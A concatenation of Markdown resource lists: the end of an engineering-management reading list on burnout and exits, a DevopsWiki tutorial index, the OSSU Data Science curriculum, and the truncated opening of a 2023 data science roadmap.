## Health
- [Good sleep, good learning, good life](https://supermemo.guru/wiki/Good_sleep,_good_learning,_good_life) - An e-book-sized synthesis on sleep research “with a view to practical applications, esp. in people who need top-quality sleep for their learning or creative achievements.”
### Holidays
- [Should we take a few long holidays, or lots of short ones?](http://timharford.com/2019/09/should-we-take-a-few-long-holidays-or-lots-of-short-ones/) - Short ones. “Reason one: holiday memories tend to depend not on how long the holiday was, but on the intensity of the experiences. Reason two: a change of activity can be a spur to creativity. Reason three for taking a short break: if we need rest to prevent exhaustion, a single, long vacation won't do the trick.”
### Stress
- [The Toxic Handler: Organizational Hero — and Casualty](https://www.companiesalive.com/toxichandlers-healthandhealing-lifecoaching-miami-leadershiptraining.htm) - “toxic handler, a manager who voluntarily shoulders the sadness, frustration, bitterness, and anger that are endemic to organizational life. Although toxic handlers may be found at every level in organizations, many work near the top”.
- [Manager Energy Drain](https://larahogan.me/blog/manager-energy-drain/) - “How do I handle how tired I am as a manager? 1. Defrag your calendar; 2. Delegate messy and unscoped projects; 3. Say no.”
- [How Slack Harms Projects](https://www.silasreinagel.com/blog/2019/08/12/how-slack-harms-projects/) - “Promote a false sense of urgency, destroy focus, allow for bypassing project prioritization, strip away essential business context, encourage poorly thought-out communication”. To remediate this, see [How to Use Slack and Not Go Crazy](https://pspdfkit.com/blog/2018/how-to-use-slack-and-not-go-crazy/) article.
- [Examples of harassments](https://news.ycombinator.com/item?id=21856352) - How a jealous boss, who felt either betrayed or ridiculed, bullied a capable employee to force him out. Don't be that kind of asshole boss.
### Burnout
- [How shitty job crush your soul, then lead to burnout](https://news.ycombinator.com/item?id=7789438) - “Burnout is a very serious situation. If you burn yourself out hard, it will be difficult to be effective at any future job you go to, even if it is ostensibly a wonderful job. Treat burnout like a physical injury.”
- “Burnout is caused by resentment. (…) No. Burnout is caused when you repeatedly make large amounts of sacrifice and or effort into high-risk problems that fail. It's the result of a negative prediction error in the nucleus accumbens. You effectively condition your brain to associate work with failure.” ([source](https://news.ycombinator.com/item?id=5630618)).
- [If You're So Successful, Why Are You Still Working 70 Hours a Week?](https://hbr.org/2018/02/if-youre-so-successful-why-are-you-still-working-70-hours-a-week) - “Our tendency to overwork and burn out is framed by a complex combination of factors involving our profession, our organization, and ourselves. At the heart of it is insecurity.”
- [What Happens When Your Career Becomes Your Whole Identity](https://hbr.org/2019/12/what-happens-when-your-career-becomes-your-whole-identity) - “A particular confluence of high achievement, intense competitiveness, and culture of overwork has caught many in a perfect storm of career enmeshment and burnout.”
- “In my experience extreme workaholism can often be a way to avoid or defer major life decisions that someone doesn't want to make or even consciously recognize. (…) Eventually the debt comes due but sometimes not until many decades later.” ([source](https://news.ycombinator.com/item?id=21900054))
- [Burnout From an Organizational Perspective](https://ssir.org/articles/entry/burnout_from_an_organizational_perspective) - “Extensive research by the military on sustainable performance in stressful conditions teaches that leaders should become champions of health, rather than taskmasters.” Describe the symptoms of toxic organizations and how managers can protect their teams from systemic burnout.
- [Avoiding burnout as an ambitious developer](https://stackoverflow.blog/2020/01/13/avoiding-burnout-as-an-ambitious-developer/) - “Be willing to say no; Know what you don't want; Use your energy level realistically; Be kind to your future self”.
- [Psychology Today: How Programmers Can Avoid Burnout](https://www.psychologytoday.com/us/blog/dear-life-please-improve/202008/how-does-your-tech-job-burn-you-out) - “Veteran software developers often recommend to: 1. Work at a place where you can grow; 2. Build transferable skills; 3. Have creative outlets and create a space to focus on yourself, switch off, and relax; 4. Of course, there's always the nuclear option: make your money and get out.”
- [Average tenure of a CISO is just 26 months due to high stress and burnout](https://www.zdnet.com/article/average-tenure-of-a-ciso-is-just-26-months-due-to-high-stress-and-burnout/) - “Today, CISO jobs come with low budgets, long working hours, a lack of power on executive boards, a diminishing pool of trained professionals they can hire, but also a constant stress of not having done enough to secure the company's infrastructure against cyber-attacks, continuous pressure due to newly arising threats, and little thanks for the good work done, but all the blame if everything goes wrong.”
- [Burnout Stage Analysis](https://catarina.skylyte.com) - Better understand where you land on the spectrum of burnout.
## Setbacks and Failures
- “What does not kill me makes me stronger”, Friedrich Nietzsche - Brutal, but with a grain of truth.
- “It is not the strongest of the species that survives, nor the most intelligent that survives. It is the one that is most adaptable to change.” Charles Darwin - [A quote](https://quoteinvestigator.com/2014/05/04/adapt/) to tame the one above.
- [Early-career setback and future career impact](https://www.nature.com/articles/s41467-019-12189-3) - “Despite an early setback, individuals with near misses systematically outperform those with narrow wins in the longer run.”
- [Huge success in business is largely based on luck](https://theconversation.com/huge-success-in-business-is-largely-based-on-luck-new-research-130843) - “Management research and education should focus on prescriptive theories that can help business practitioners move from 'incompetent to OK', rather than focusing on those that address how to move from 'good to great'.”
- [How Complex Systems Fail](https://web.mit.edu/2.75/resources/random/How%20Complex%20Systems%20Fail.pdf) - “Short treatise on the nature of failure; how failure is evaluated; how failure is attributed to proximate cause; and the resulting new understanding of patient safety”.
<!--lint disable double-link-->
- [Normalization of deviance](https://danluu.com/wat/) - Explores how the factors accounting for disasters accumulates unnoticed until it's too late. This has been studied on other fields, but not in software engineering.
<!--lint enable double-link-->
- [Steve Jobs explains - Why companies fail?](https://www.youtube.com/watch?v=B-fAinNDbQU&t=6s) - On how sales and marketing takes over product focused companies.
- [The failure of Scaling Etsy](https://twitter.com/mcfunley/status/1194713711337852928) - When a company lacks technical leadership: developers waste time in costly refactors, over-engineered systems, and ends up detached from the business and product.
## Exits
Sometimes, you just have to call it quits.
- [Why I Rejected My Manager](https://medium.com/personal-growth/why-i-rejected-my-manager-b2273e354462) - “I understand now why the saying is: people leave managers, not companies.”
- [Colleague is leaving. How to investigate what went wrong?](https://news.ycombinator.com/item?id=20786755) - “Most of the time people leave bosses, not the job or the company.” And why you're unlikely to get any substantial insights from exit interviews. ([source](https://news.ycombinator.com/item?id=20787874))
- “*People do get pissed off in clusters* is the best description of a team/company meltdown that I've ever seen.” ([source](https://news.ycombinator.com/item?id=19755001))
<!--lint disable double-link-->
- “Something I've seen multiple times is that, when a VP leaves, a company will become a substantially worse place to work, and it will slowly dawn on people that the VP was doing an amazing job at supporting not only their direct reports, but making sure that everyone under them was having a good time.” ([source](https://danluu.com/wat/#fn:P))
<!--lint enable double-link-->
- “Next time your favorite manager and tech lead quit the company, ask them why.” ([source](https://news.ycombinator.com/item?id=21767843)).
- “[Good business mafias form](https://marker.medium.com/where-do-business-mafias-come-from-34f47b33eecd) when there's a group of people who all have to quit their job for reasons that are exogenous to their performance. In the case of Paypal, it was an acquisition; at Tiger Management, a few years of underperformance; at Drexel Burnham Lambert, an indictment. In Reliance's case, the core group of early employees fled the port of Aden due to unrest and the withdrawal of the British.” ([source](https://diff.substack.com/p/to-understand-jio-you-need-to-understand)) - And why mass exodus might be an opportunity for great new ventures.
- “It was my experience that no single departure had any effect. Mass departures did, trends did, but one person never did, even when that person was a founder.” ([source](https://news.ycombinator.com/item?id=4324615)).
- [P.T.'s Hidden Meaning](https://www.youtube.com/watch?v=yr4RvdREwl8) - How Hideo Kojima creatively used a playable teaser as a way to bypass NDA and to tell he story about the turmoil at Konami leading to his leaving of the company. But that only works if you're an influential and popular game designer.
- [Management Challenges for the 21st Century - Managing Oneself](http://academic.udayton.edu/lawrenceulrich/LeaderArticles/Drucker%20Managing%20Oneself.pdf) - “There is a great deal of talk today about the "mid-life crisis" of the executive. It is mostly boredom. At age forty-five most executives have reached the peak of their business career and know it.” In paragraph Ⅴ, you'll find why knowledge workers needs to manage themselves, and plan for the second half of their life.
## Contributing
Your contributions are always welcome! Please take a look at the [contribution guidelines](.github/contributing.md) first.
## Footnotes
The [header image](https://github.com/kdeldycke/awesome-engineering-team-management/blob/main/assets/awesome-management-header.png) is based on a modified [photo taken in November 2017](https://unsplash.com/photos/6dDHofabCQ8) by [Werner Du plessis](https://unsplash.com/@werner01).
<!--lint disable no-undefined-references-->
<a name="intro-quote-def">\[1\]</a>: [*Peopleware: Productive Projects and Teams, 1987*, page 34](https://www.amazon.com/dp/0321934113?&linkCode=ll1&tag=kevideld-20&linkId=9a6c692819b070f38feb70816e6635ab&language=en_US&ref_=as_li_ss_tl) (Addison-Wesley Professional, 3rd edition, 2013). [\[↑\]](#intro-quote-ref)
|
DevopsWiki
==========
A wiki of Guides, Scripts, Tutorials related to devops
Table of Contents
-----------------
1. [Data Science](https://github.com/Leo-G/Data-Science-Wiki/blob/master/main/AI/README.md)
2. Operating Systems & Command Line
- [Bash](#bash-guides-and-scripts)
- [Tmux](#tmux)
- [Awk](#awk)
- [Sed](#sed)
- [Vim (Editor)](#vim)
- [Linux](#linux)
3. Programming
- [Python](#python-guides-and-scripts)
- [Javascript](#javascript)
- [C](#c)
- [Perl](#perl)
4. Source Control
- [Git](#git)
5. Editors
- [Code Editors](#code-editors)
6. [Security](main/Security/README.md)
7. Automation
- [Automation Guides](#automation-guides)
8. Other Bits
- [Backups](#backups)
- [Email Server Configuration](#email-server-configuration)
- [Firewall and Monitoring](#firewall-and-monitoring)
- [Philosophy](#philosophy)
- [Data Structures](#data-structures)
- [Video Tutorials](#video-tutorials)
- [Continuous Integration](#continuous-integration)
- [Docker](#docker)
- [Devops Interview Questions](#devops-interview-questions)
- [Learn to code](#learn-to-code)
9. Networking
- [Networking Guides](#networking-guides)
10. [Machine Learning](#machine-learning)
11. [AWS](#aws)
- Check the AWS sub folder
## Linux
[Getting Started with Linux](http://computefreely.org/)
[Linux Journey](https://linuxjourney.com/)
### Beginner Guides
[Installing a VPN server on Linux](http://techarena51.com/blog/how-to-install-an-opensource-vpn-server-on-linux/?utm_source=devopswiki)
[Installing Ruby on Rails on Linux](http://techarena51.com/blog/how-to-install-ruby-ruby-on-rails-and-phusion-passenger-on-centos/?utm_source=devopswiki)
[Installing Gunicorn on Linux](http://techarena51.com/blog/deploy-flask-on-ubuntu/?utm_source=devopswiki)
[Installing Django on Linux](http://techarena51.com/blog/install-django-1-7-on-linux/?utm_source=devopswiki)
[Troubleshooting Linux Server Memory Usage with PS_MEM](http://techarena51.com/blog/linux-memory-usage/?utm_source=devopswiki)
[Troubleshooting Network issues with Tcpdump](http://techarena51.com/blog/tcpdump-examples-to-capture-passwords/?utm_source=devopswiki)
### Advance
[Linux Perfomance Analysis with Brendan Gregg](http://www.brendangregg.com/linuxperf.html)
[How Linux CPU usage is Calculated](https://github.com/Leo-G/DevopsWiki/wiki/How-Linux-CPU-Usage-Time-and-Percentage-is-calculated)
[Linux System Calls](https://web.archive.org/web/20170829215632/http://www.digilife.be/quickreferences/qrc/linux%20system%20call%20quick%20reference.pdf)
[Linux One Second Boot](http://events.linuxfoundation.org/sites/events/files/slides/praesentation.pdf)
[Debugging Programs on Linux with Strace](http://www.redpill-linpro.com/sysadvent//2015/12/10/introduction-to-strace.html)
[Continously Monitoring Processes on Linux with the Watch command](http://techarena51.com/index.php/watch-command-linux/)
**[Back to top](#table-of-contents)**
## Tmux
> `tmux` is a "terminal multiplexer", it enables a number of terminals (or windows) to be accessed and controlled from a single terminal. It can be installed via `sudo apt-get install tmux` or `yum install tmux`
[A Quick and Easy Guide to Tmux](http://www.hamvocke.com/blog/a-quick-and-easy-guide-to-tmux/)
[Tmux Shortcuts and Cheat Sheet](https://gist.github.com/MohamedAlaa/2961058)
## Git
[Git Quick Start](http://rogerdudler.github.io/git-guide/)
[Git Indepth Tutorial](http://www.vogella.com/tutorials/Git/article.html#gitdefintion_tools1)
[What is Git? (Series)](https://opensource.com/resources/what-is-git)
**[Back to top](#table-of-contents)**
## Bash Guides and Scripts
[Useful bash one-liners](https://github.com/stephenturner/oneliners)
[Real time file syncing daemon with inotify tools](https://github.com/Leo-G/backup-bash)
[inotify tools example](http://techarena51.com/blog/inotify-tools-example/?utm_source=devopswiki)
[Creating Init/Systemd Scripts](http://techarena51.com/blog/how-to-create-an-init-script-on-centos-6/?utm_source=devopswiki)
[Useful systemd commands](https://www.dynacont.net/documentation/linux/Useful_SystemD_commands/)
[Building an RPM on CentOS](http://techarena51.com/blog/build-rpm-without-breaking-head/?utm_source=devopswiki)
[Bash if statements](http://techarena51.com/blog/bash-scripting-tutorial-part-2/?utm_source=devopswiki)
[Beginners Guide to BASH](http://techarena51.com/blog/a-beginners-guide-to-bash-scripting/?utm_source=devopswiki)
[Bash variable Expansion](http://wiki.bash-hackers.org/syntax/pe)
[Bash Special Characters explained](http://mywiki.wooledge.org/BashGuide/SpecialCharacters)
[Bash process substitution](http://redpill-linpro.com/sysadvent/2015/12/12/bash-process-substitution.html)
[Bash Indepth Tutorial](http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html)
[Advancing in the Bash Shell](http://samrowe.com/wordpress/advancing-in-the-bash-shell/)
**[Back to top](#table-of-contents)**
## Python Guides and Scripts
[Python 3 String Encoding and Formatting](http://www.diveintopython3.net/strings.html)
[Python Local and Global Scopes](https://automatetheboringstuff.com/chapter3/)
[Python Regex for beginners](https://developers.google.com/edu/python/regular-expressions)
[Building system monitoring apps in Python with Flask](http://techarena51.com/blog/how-to-install-python-3-and-flask-on-linux/?utm_source=devopswiki)
[Building a Database driven RESTFUL API in Python 3 with Flask](http://techarena51.com/blog/buidling-a-database-driven-restful-json-api-in-python-3-with-flask-flask-restful-and-sqlalchemy/?utm_source=devopswiki)
[Building Database driven apps with MySQL or PostgreSQL using Python and SQLAlchemy ORM](http://techarena51.com/blog/flask-sqlalchemy-tutorial/?utm_source=devopswiki)
[Python Postgres Tutorial](http://techarena51.com/index.php/flask-sqlalchemy-postgresql-tutorial/?utm_source=devopswiki)
[Token based Authentication with Pyjwt](http://techarena51.com/index.php/json-web-token-authentication-with-flask-and-angularjs/?utm_source=devopswiki)
[Script to automatically Scaffold a database driven CRUD app in python](https://github.com/Leo-G/Flask-Scaffold)
[Psutil a cross-platform Python library for retrieving information on running processes and system utilization (CPU, memory, disks, network) ](https://pypi.python.org/pypi/psutil)
[Automating web testing with Selenium](http://techarena51.com/blog/install-selenium-linux-automate-web-tests/?utm_source=devopswiki)
[Flask Github Webhook Handler](http://techarena51.com/blog/flask-github-webhook-handler/?utm_source=devopswiki)
[Flask Web Sockets](http://blog.miguelgrinberg.com/post/easy-websockets-with-flask-and-gevent)
[Sending Email with Python](https://pythonhosted.org/Flask-Mail/)
[Understanding Threading and the Global Interpreter Lock](http://jessenoller.com/blog/2009/02/01/python-threads-and-the-global-interpreter-lock)
[Packaging and Distributing Python Projects](http://python-packaging-user-guide.readthedocs.org/en/latest/distributing/)
[Serving Python with Uwsgi ](http://uwsgi-docs.readthedocs.org/en/latest/WSGIquickstart.html)
[Python Indepth Tutorial](https://automatetheboringstuff.com/)
**[Back to top](#table-of-contents)**
## Awk
[An introduction to Awk](http://www.grymoire.com/Unix/Awk.html)
[Text Processing examples with Awk](http://techarena51.com/blog/advance-text-processing-examples-awk/?utm_source=devopswiki)
**[Back to top](#table-of-contents)**
## Sed
[An introduction and Tutorial](http://www.grymoire.com/Unix/Sed.html)
**[Back to top](#table-of-contents)**
## Perl
[Perl Regex CheatSheet - PDF](http://www.erudil.com/preqr.pdf)
[Perl Regex CheatSheet 2](http://www.rexegg.com/regex-quickstart.html)
[Indepth Tutorial](http://perlmaven.com/perl-tutorial)
**[Back to top](#table-of-contents)**
## C
[File I/O](http://gribblelab.org/CBootcamp/10_Input_and_Output.html)
[C Programming Boot Camp](http://gribblelab.org/CBootCamp/)
[Beej's Guide to Network Programming](https://beej.us/guide/bgnet/)
**[Back to top](#table-of-contents)**
## Javascript
[Quick Getting start with JS](http://www.freecodecamp.com/map)
[JS Concepts ( Closures, Falsy, Functions, Immutable, Loops, Scope, Ternary, Truthy, Arrays)](https://github.com/freecodecamp/freecodecamp/wiki/js-closures)
[Making API calls with ngResource](https://docs.angularjs.org/api/ngResource)
[Using UI-Router for Client side routing](https://github.com/angular-ui/ui-router/wiki/URL-Routing)
[Token Based Authentication with Satellizer](https://techarena51.com/blog/json-web-token-authentication-with-flask-and-angularjs/?utm_source=devopswiki)
[21 Javascript Answers on Quora Every Developer Must Read](https://josecasanova.com/blog/21-javascript-answers-on-quora-every-developer-must-read/)
[Visualizing data with D3.js](http://alignedleft.com/tutorials/d3)
[Websockets with Socket.io](http://socket.io/get-started/)
[JS indepth Tutorial and Guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Introduction)
[Server side JS with Nodejs](https://nodejs.org/dist/latest-v4.x/docs/api/)
[Cross Platform Desktop apps with Electron](http://electron.atom.io/#get-started)
[End to End Testing with Protractor](https://angular.github.io/protractor/#/tutorial)
[JS resources](https://github.com/freecodecamp/freecodecamp/wiki/js-resources)
[Linux Server Visualization using Websockets and Google style Gauges](https://techarena51.com/blog/real-time-linux-server-monitoring-with-node-js-socket-io-and-d3-js-gauges/?utm_source=devopswiki)
**[Back to top](#table-of-contents)**
## Automation Guides
[Automating Server Configs with Puppet](https://techarena51.com/blog/a-simple-way-to-install-and-configure-a-puppet-server-on-linux/?utm_source=devopswiki)
[Automating Server Configs with the SaltStack](https://techarena51.com/blog/getting-started-with-saltstack/?utm_source=devopswiki)
[Using Foreman, an Opensource Frontend for Puppet](https://techarena51.com/blog/using-foreman-opensource-frontend-puppet/?utm_source=devopswiki)
[Using StackStorm, an Opensource platform for integration and automation across services and tools.](https://docs.stackstorm.com/overview.html#st2-overview)
[Configure, build, repeat. – using the 3bot platform.](https://www.arteria.ch/de/blog/3bot-der-maschinelle-kollege/) - Der maschinelle Kollege - an article about using 3bot in German.
**[Back to top](#table-of-contents)**
## Backups
[BUP Git based Backup](https://techarena51.com/blog/using-git-backup-website-files-on-linux/)
[Real time Backup Script written in bash](https://github.com/Leo-G/backup-bash)
[MySQL incremental Backup with Percona](https://www.percona.com/doc/percona-xtrabackup/2.3/xtrabackup_bin/incremental_backups.html)
**[Back to top](#table-of-contents)**
## Email Server Configuration
[Postfix configuration](https://techarena51.com/blog/configure-secure-postfix-email-server/?utm_source=devopswiki)
[Postfix Troubleshooting](https://techarena51.com/blog/postfix-configuration-and-explanation-of-parameters/?utm_source=devopswiki)
[Adding DMARC records](https://techarena51.com/blog/what-is-dmarc-and-how-you-can-add-it/?utm_source=devopswiki)
**[Back to top](#table-of-contents)**
## Firewall and Monitoring
[Monitoring Linux Servers with Monit](https://techarena51.com/blog/how-to-install-monit-monitoring-service-on-your-linux-vps-server/?utm_source=devopswiki)
**[Back to top](#table-of-contents)**
## Data Structures
**[Back to top](#table-of-contents)**
## Vim
[Vim Cheat Sheet](http://michael.peopleofhonoronly.com/vim/)
[Vim Regular Expressions 101](http://vimregex.com/)
[Home Page](http://www.vim.org)
## Code Editors
[VS Code](https://code.visualstudio.com/?utm_source=devopswiki)
[Atom](https://atom.io/docs/v0.196.0/getting-started-why-atom/?utm_source=devopswiki)
[Brackets](http://brackets.io/?utm_source=devopswiki)
[Sublime Text](http://www.sublimetext.com/?utm_source=devopswiki)
[GNU Emacs](https://www.gnu.org/software/emacs/?utm_source=devopswiki)
[Notepad++](https://notepad-plus-plus.org/?utm_source=devopswiki)
**[Back to top](#table-of-contents)**
## Video Tutorials
[Sys Admin casts](http://sysadmincasts.com)
[Youtube Channel](https://www.youtube.com/channel/UCvA_wgsX6eFAOXI8Rbg_WiQ/feed)
[DevOps Tutorials](https://www.youtube.com/channel/UCQoGduji69VtJzkYRz4sB1A)
**[Back to top](#table-of-contents)**
## Continuous Integration
[Deploying Code at Netflix]( http://techblog.netflix.com/2016/03/how-we-build-code-at-netflix.html)
[Travis-CI Tutorial](https://docs.travis-ci.com/user/languages/python)
[Jenkins Tutorial](http://www.vogella.com/articles/Jenkins/article.html)
**[Back to top](#table-of-contents)**
## Philosophy
[Top Ten Tenets (Principles) of a System Administrator](https://github.com/Leo-G/DevopsWiki/wiki/Top-10-tenets-of-a-System-Administrator)
[IT Career/Job Advice ](http://www.network-node.com/blog/2016/5/19/careerjob-advice-and-observations)
[The Twelve-Factor Software-As-A-Service App building methodology](http://12factor.net/)
[Code Review Best Practices](https://www.kevinlondon.com/2015/05/05/code-review-best-practices.html)
[The Must Know Checklist For DevOps & Site Reliability Engineers](https://medium.com/faun/the-must-know-checklist-for-devops-system-reliability-engineers-f74c1cbf259d)
**[Back to top](#table-of-contents)**
## Devops Interview Questions
https://github.com/Leo-G/DevopsWiki/wiki/Devops-Interview-Questions
**[Back to top](#table-of-contents)**
## Learn to code
https://www.freecodecamp.org/challenges/learn-how-freecodecamp-works
**[Back to top](#table-of-contents)**
## Docker
[English Docker Guides and Tutorials](http://blog.flux7.com/topic/docker)
[Spanish Docker Guide](https://github.com/brunocascio/docker-espanol)
[Introduction to Docker](https://medium.com/@BuddyWorks/introduction-to-docker-a7d9e1f6c0b3#.59y3faia9)
[A Comprehensive Step by Step guide to Dockers ( Compose and Swarm )](https://takacsmark.com/getting-started-with-docker-in-your-project-step-by-step-tutorial/)
[Secure Your Containers with this One Weird Trick](http://rhelblog.redhat.com/2016/10/17/secure-your-containers-with-this-one-weird-trick/)
[Understanding Docker Networking Drivers and their use cases](https://blog.docker.com/2016/12/understanding-docker-networking-drivers-use-cases/)
**[Back to top](#table-of-contents)**
## Networking Guides
[Turtles on the wire: understanding how the OS uses the modern NIC](https://www.joyent.com/blog/virtualizing-nics)
[Working with Network Configurations from the Command Line](https://www.linux.com/learn/working-network-configurations-command-line)
[Monitoring and Tuning the Linux Networking Stack](http://blog.packagecloud.io/eng/2016/06/22/monitoring-tuning-linux-networking-stack-receiving-data/#general-advice-on-monitoring-and-tuning-the-linux-networking-stack)
[Learn OSPF and BGP using Linux (lxc, openvswitch)](https://github.com/knorrie/network-examples)
**[Back to top](#table-of-contents)**
## Machine Learning
[What is Machine Learning?](https://www.youtube.com/watch?v=cKxRvEZd3Mw)
[Getting Started with Machine Learning on Linux with Python](https://techarena51.com/blog/getting-started-machine-learning-linux-python-3-scikit-learn/?utm_source=devopswiki)
[Which Machine Learning Algorithm you should use and when](http://scikit-learn.org/stable/tutorial/machine_learning_map/)
[Using Machine Learning for Image Recoginition](https://www.tensorflow.org/tutorials/image_recognition/)
[Introduction to Natural Language Processing with Python](https://github.com/miguelgfierro/sciblog_support/blob/master/Intro_to_NLP_with_fastText/Intro_to_NLP.ipynb)
**[Back to top](#table-of-contents)**
|
<h3 align="center">Open Source Society University</h3>
<p align="center">
:bar_chart: Path to a free self-taught education in <strong>Data Science</strong>!
<br><br>
<a href="https://github.com/open-source-society/data-science">
<img alt="Open Source Society University - Data Science" src="https://img.shields.io/badge/OSSU-data--science-blue.svg">
</a>
</p>
## Contents
- [About](#about)
- [Curricular Guideline](#curricular-guideline)
- [Curriculum](#curriculum)
- [How to use this guide](#how-to-use-this-guide)
- [Prerequisites](#prerequisites)
- [How to contribute](#how-to-contribute)
- [Code of conduct](#code-of-conduct)
- [Community](#community)
- [Team](#team)
## About
This is a path for those of you who want to complete the Data Science undergraduate curriculum on your own time, **for free**, with courses from the **best universities** in the World.
In our curriculum, we give preference to MOOC (Massive Open Online Course) style courses because these courses were created with our style of learning in mind.
## Curricular Guideline
OSSU Data Science uses the report [Curriculum Guidelines for Undergraduate Programs in Data Science](https://www.amstat.org/asa/files/pdfs/EDU-DataScienceGuidelines.pdf) as our guide for course recommendation.
## Curriculum
---
### Introduction to Data Science
[What is Data Science](https://www.coursera.org/learn/what-is-datascience)
### Introduction to Computer Science
_Students who already know basic programming in any language can skip this first course_
[Python for Everybody](https://www.py4e.com/)
[Introduction to Computer Science and Programming Using Python](https://ocw.mit.edu/courses/6-0001-introduction-to-computer-science-and-programming-in-python-fall-2016/)
[Introduction to Computational Thinking and Data Science](https://ocw.mit.edu/courses/6-0002-introduction-to-computational-thinking-and-data-science-fall-2016/)
### Data Structures and Algorithms
_The Algorithms courses are taught in Java. If students need to learn Java, they should take this course first_
[Java Programming](https://java-programming.mooc.fi/)
[Algorithms, Part I](https://www.coursera.org/learn/algorithms-part1)
[Algorithms, Part II](https://www.coursera.org/learn/algorithms-part2)
### Databases
[Database Management Essentials](https://www.coursera.org/learn/database-management)
[Data Warehouse Concepts, Design, and Data Integration](https://www.coursera.org/learn/dwdesign)
[Relational Database Support for Data Warehouses](https://www.coursera.org/learn/dwrelational)
[Business Intelligence Concepts, Tools, and Applications](https://www.coursera.org/learn/business-intelligence-tools)
[Design and Build a Data Warehouse for Business Intelligence Implementation](https://www.coursera.org/learn/data-warehouse-bi-building)
[MongoDB for Developers Learning Path](https://university.mongodb.com/learning_paths/developer)
### Single Variable Calculus
[Calculus 1A: Differentiation](https://openlearninglibrary.mit.edu/courses/course-v1:MITx+18.01.1x+2T2019/about)
[Calculus 1B: Integration](https://openlearninglibrary.mit.edu/courses/course-v1:MITx+18.01.2x+3T2019/about)
[Calculus 1C: Coordinate Systems & Infinite Series](https://openlearninglibrary.mit.edu/courses/course-v1:MITx+18.01.3x+1T2020/about)
### Linear Algebra
[Essence of Linear Algebra](https://www.youtube.com/playlist?list=PLZHQObOWTQDPD3MizzM2xVFitgF8hE_ab)
[Linear Algebra](https://ocw.mit.edu/courses/mathematics/18-06sc-linear-algebra-fall-2011/)
### Multivariable Calculus
[Multivariable Calculus](http://ocw.mit.edu/courses/mathematics/18-02sc-multivariable-calculus-fall-2010/index.htm)
### Statistics & Probability
[Introduction to Probability](https://projects.iq.harvard.edu/stat110/home)
[Intro to Descriptive Statistics](https://www.udacity.com/course/intro-to-descriptive-statistics--ud827)
[Intro to Inferential Statistics](https://www.udacity.com/course/intro-to-inferential-statistics--ud201)
### Data Science Tools & Methods
[Tools for Data Science](https://www.coursera.org/learn/open-source-tools-for-data-science)
[Data Science Methodology](https://www.coursera.org/learn/data-science-methodology)
[Data Science: Wrangling](https://www.edx.org/course/data-science-wrangling)
### Machine Learning/Data Mining
[Machine Learning](https://www.coursera.org/learn/machine-learning)
[Intro to Machine Learning](https://www.udacity.com/course/intro-to-machine-learning--ud120)
[Mining Massive Datasets](https://www.edx.org/course/mining-massive-datasets)
[Process Mining](https://www.coursera.org/learn/process-mining)
## How to use this guide
### Duration
It is possible to finish within about 2 years if you plan carefully and devote roughly 20 hours/week to your studies. Learners can use [this spreadsheet](https://docs.google.com/spreadsheets/d/1TEGSUQDFuWL3TYNjiM8G3esly-tKOcgHSDABt92mzdA/copy) to estimate their end date. Make a copy and input your start date and expected hours per week in the `Timeline` sheet. As you work through courses you can enter your actual course completion dates in the Curriculum Data sheet and get updated completion estimates.
### Order of the classes
Some courses can be taken in parallel, while others must be taken sequentially. All of the courses within a topic should be taken in the order listed in the curriculum. The graph below demonstrates how topics should be ordered.
### Track your progress
1. Create an account in [Trello](https://trello.com/).
1. Copy [this](https://trello.com/b/JpvLwQfr/ossu-data-science) board to your personal account.
See how to copy a board [here](https://help.trello.com/article/802-copying-cards-lists-or-boards).
Now you just need to pass the cards to the `Doing` column or `Done` column as you progress in your study.
### Which programming languages should I use?
Python and R are heavily used in Data Science community and our courses teach you both. Remember, the important thing for each course is to internalize the core concepts and to be able to use them with whatever tool (programming language) that you wish.
### Content Policy
You must share only files that you are allowed. **Do NOT disrespect the code of conduct** that you sign in the beginning of your courses.
## Prerequisites
The Data Science curriculum assumes the student has taken [high school math](https://github.com/ossu/computer-science/blob/master/FAQ.md#how-can-i-review-the-math-prerequisites) and [statistics](https://www.khanacademy.org/math/probability).
## How to contribute
You can [open an issue](https://help.github.com/articles/creating-an-issue/) and give us your suggestions as to how we can improve this guide, or what we can do to improve the learning experience.
You can also [fork this project](https://help.github.com/articles/fork-a-repo/) and send a [pull request](https://help.github.com/articles/using-pull-requests/) to fix any mistakes that you have found.
If you want to suggest a new resource, send a pull request adding such resource to the [extras](https://github.com/open-source-society/data-science/tree/master/extras) section. The **extras** section is a place where all of us will be able to submit interesting additional articles, books, courses and specializations.
## Code of Conduct
[OSSU's code of conduct](https://github.com/ossu/code-of-conduct).
## Community
We have a Discord server! This should be your first stop to talk with other OSSU students. [Why don't you introduce yourself right now?](https://discord.gg/wuytwK5s9h)
Subscribe to our [newsletter](https://tinyletter.com/OpenSourceSocietyUniversity).
You can also interact through [GitHub issues](https://github.com/open-source-society/data-science/issues).
Add **Open Source Society University** to your [Linkedin](https://www.linkedin.com/school/11272443/) and [Facebook](https://www.facebook.com/ossuniversity) profile!
## Team
* **Curriculum Maintainer**: [Waciuma Wanjohi](https://github.com/waciumawanjohi)
* **Contributors**: [contributors](https://github.com/open-source-society/data-science/graphs/contributors)
|
<h2>     DATA SCIENCE ROADMAP :pirate_flag: 2023 </h2>
### Data Science Roadmap for anyone interested in how to break into the field!
<h4><i>This repository is intended to provide a free Self-Learning Roadmap to learn the field of Data Science. I provide some of the best free resources.</i></h4><br>
  [Our Previous Roadmap](https://github.com/Seif-Mohamed1/DataScience-Squad) ♥️<br>
   :warning: <b>*Before we start,*</b> :warning:
#### If you Dont know What`s Data Science or Projects Life Cycle (starting from Business Understanding to Deployment) or Which Programming Language you should go for or Job Descriptions or the required Soft & Hard Skills needed for this field or Data Science Applications or the Most Common Mistakes, then<br>
### :pushpin:**[This Video](https://www.youtube.com/watch?v=5zRvq7CG6Zw&t=5s) is for you (Highly Recommended :heavy_check_mark:)**
<h2>Data Science vs Data Analytics vs Data Engineering - What's the Difference?</h2><br>
<h4><i>These terms are wrongly used interchangably among people. There are distinct differences:</i></h4>
| :small_orange_diamond: **Data Science** | :small_orange_diamond: **Data Analytics** | :small_orange_diamond: **Data Engineering** |
| ------------- | --------------------- | -------------------- |
